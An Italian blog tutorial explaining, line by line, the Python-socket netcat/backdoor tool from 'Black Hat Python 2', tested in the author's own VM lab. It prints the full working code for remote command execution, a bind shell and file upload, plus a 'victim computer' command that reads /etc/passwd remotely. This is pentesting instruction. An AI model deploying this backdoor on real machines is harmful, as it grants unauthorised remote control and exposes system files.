Intro - il potere dello scripting
Non mi sono mai ritenuto un programmatore, ho sempre avuto interessi che vanno oltre la mera creazione di software, soprattutto se si parla di programmare ore e ore al giorno per qualcuno.
Vi immaginate passare 1 mese a programmare una parte essenziale di un software per poi vedere la tua azienda, già multimilionaria, prendere il merito (e fare ancora più soldi) grazie alla tua bravura e duro lavoro?
Scrivere script invece è diverso. Uno script è come un cacciavite con le potenzialità di diventare un trapano. In questo caso il codice che vedremo è pressochè semplice. Sta a te, se lo vorrai, andare a ricercare e approfondire l’argomento in modo da rendere lo script adatto alle tue esigenze.
In questo articolo andrò a dissezionare e cercare di spiegare nel modo più semplice possibile come approcciarsi alla programmazione, con le Python Sockets, di un tool per terminale che agisce da coltellino svizzero per le reti, con le capacità di:
- funzionare da
backdoor
- sostituire
netcat
edSSH
ci tengo a precisare che IL SEGUENTE CODICE NON E’ MIO. Nell’approfondire il Network Hacking sto seguendo le linee guida del Libro “Black Hat Python 2”, che è probabilmente il miglior libro per imparare a creare i propri python tools in ambito PenTesting.
Questo codice è interamente presente nella primo capitolo “Python Networking in a Paragraph“. Se vi interessa solo leggere e avere il codice per intero, qui un link alla cartella github dove l’ho salvato.
Python Sockets - aprire un tunnel di comunicazione
Iniziamo importando tutte le librerie che ci serviranno più tardi
1
2
3
4
5
6
7
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
Per scrivere la classe NetCat, che ci permette di comunicare via TCP con un altro host su cui è installato questo programma, useremo lo stesso principio degli script TCP Server e Client, ma renderemo capace questo script di potersi comportare sia da server che da client.
classe Netcat
Inizializziamo la classe con degli argomenti args
(in questo caso i toggle -c
e -l
che definiranno il comportamento dello script) di cui ci occuperemo più tardi nella funzione main.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class NetCat:
def __init__(self,args,buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
Nella funzione run
vediamo come la Socket che abbiamo definito prima si comporterà in modo diverso se includiamo o meno l’argomento listen
.
La linea che appare più strana è l’ultima della funzione __init__
, che serve a indicare alla socket di utilizzare in modo forzato la porta, anche se essa è usata da un altro processo. Infatti se date un’occhiata alle librerie importate, lo script avrà funzioni di multithreading, per gestire più connessioni in entrata contemporaneamente.
funzioni send()
e listen()
Le funzioni send()
e listen()
, due facce della stessa medaglia, vengono definite da noi all’interno della classe e vanno architettate ad-hoc per ciò che serve a noi, ovvero la possibilità di scrivere comandi e mandarli, oppure di riceverli ed eseguirli con la funzione execute()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
1
2
3
4
5
6
7
8
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(target=self.handle, args=(client_socket,))
client_thread.start()
Non sono un esperto di Threads ma questo pezzo di codice fa in modo di aspettare per istruzioni dal client (noi che inviamo i comandi da eseguire in remoto) per poi chiamare la funzione handle che si occupa di eseguire tali istruzioni.
funzioni execute()
e handle()
La funzione execute va scritta prima della classe NetCat, serve a far eseguire con interprete locale i comandi che vengono inviati.
1
2
3
4
5
6
7
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
return output.decode()
In questa funzione viene passato un comando cmd
, che viene eseguito da un subprocess
e infine viene ritornato l’output del comando stesso.
Ora vediamo la funzione handle, metodo della classe NetCat, serve a gestire gli argomenti che passeremo al programma in python ed interpretarli, ad esempio se nell’eseguire il programma passeremo l’argomento -c
questa funzione farà in modo di eseguire una command-line interface nella quale potremo scrivere comandi ed eseguirli stile SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def handle(self, client_socket):
# se l'argomento 'execute' è presente manda il comando alla funzione execute
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
# funzione per l'upload di file
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
# funzione per gestire il terminale in stile simil-ssh
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
funzione main()
In questo caso la funzione main dovrà occuparsi di valutare gli argomenti passati quando il programma viene eseguito.
Per comprenderci, gli argomenti di cui parlo sono quelli a destra del nome del programma:
Inoltre dovrà permetterci di avere una descrizione delle funzioni del programma quando scriveremo qualcosa come:
1
$ python3 NetCat.py --help
Per fare questo ed altro sfrutteremo la libreria argparse
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if __name__=='__main__':
parser = argparse.ArgumentParser(
description='BHP Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytext.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int,default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
Funzionamento
Adesso vediamo in che modi possiamo sfruttare questo script.
command line interface
Con i metodi execute()
e handle()
il programma permette di eseguire comandi da remoto nel computer vittima, i quali output vengono mandati a noi tramite i metodi send()
e listen
.
Nella mia macchina virtuale, che ha l’impostazione di rete settata su bridge
, trovo l’IP in modo da potermi connettermi da remoto.
Bene, adesso che so l’IP della mia macchina virtuale, vediamo come usare il programma per ottenere una interfaccia command line
come stessimo usando ssh.
Usando lo switch --help
otteniamo questa lista di opzioni. Avviamo nel computer vittima il processo command shell
per poi connetterci da remoto.
1
python3 NetCat.py -t 192.168.1.133 -p 5555 -l -c
Adesso la macchina virtuale aspetterà per una connessione nella porta 5555
.
Noi possiamo connetterci in vari modi a quella porta, uno di questi è usando il normale tool netcat:
Questa command line shell è programmata in modo da terminare il processo nel caso in cui si dovesse immettere un comando non valido.
quando il comando non può essere valutato il processo del server viene terminato
la feature di
server killed
è molto utile in fase di debug
Comando singolo
Se volessimo valutare il testo in output di un singolo comando, per poi poterlo recuperare da remoto, basterebbe usare l’opzione -e execute
: quest’ultima eseguirà il comando e non appena si avrà una connessione in entrata, l’output del comando verrà inviato a noi che ci saremo connessi alla porta 5555:
Nel computer vittima:
1
python3 NetCat.py -t 192.168.1.133 -p 5555 -l -e="cat /etc/passwd"
Nel nostro computer:
1
nc 192.168.1.133 5555
Usando questa funzione verrà valutato solo il comando specificato come argomento, non si potranno eseguire altri comandi da remoto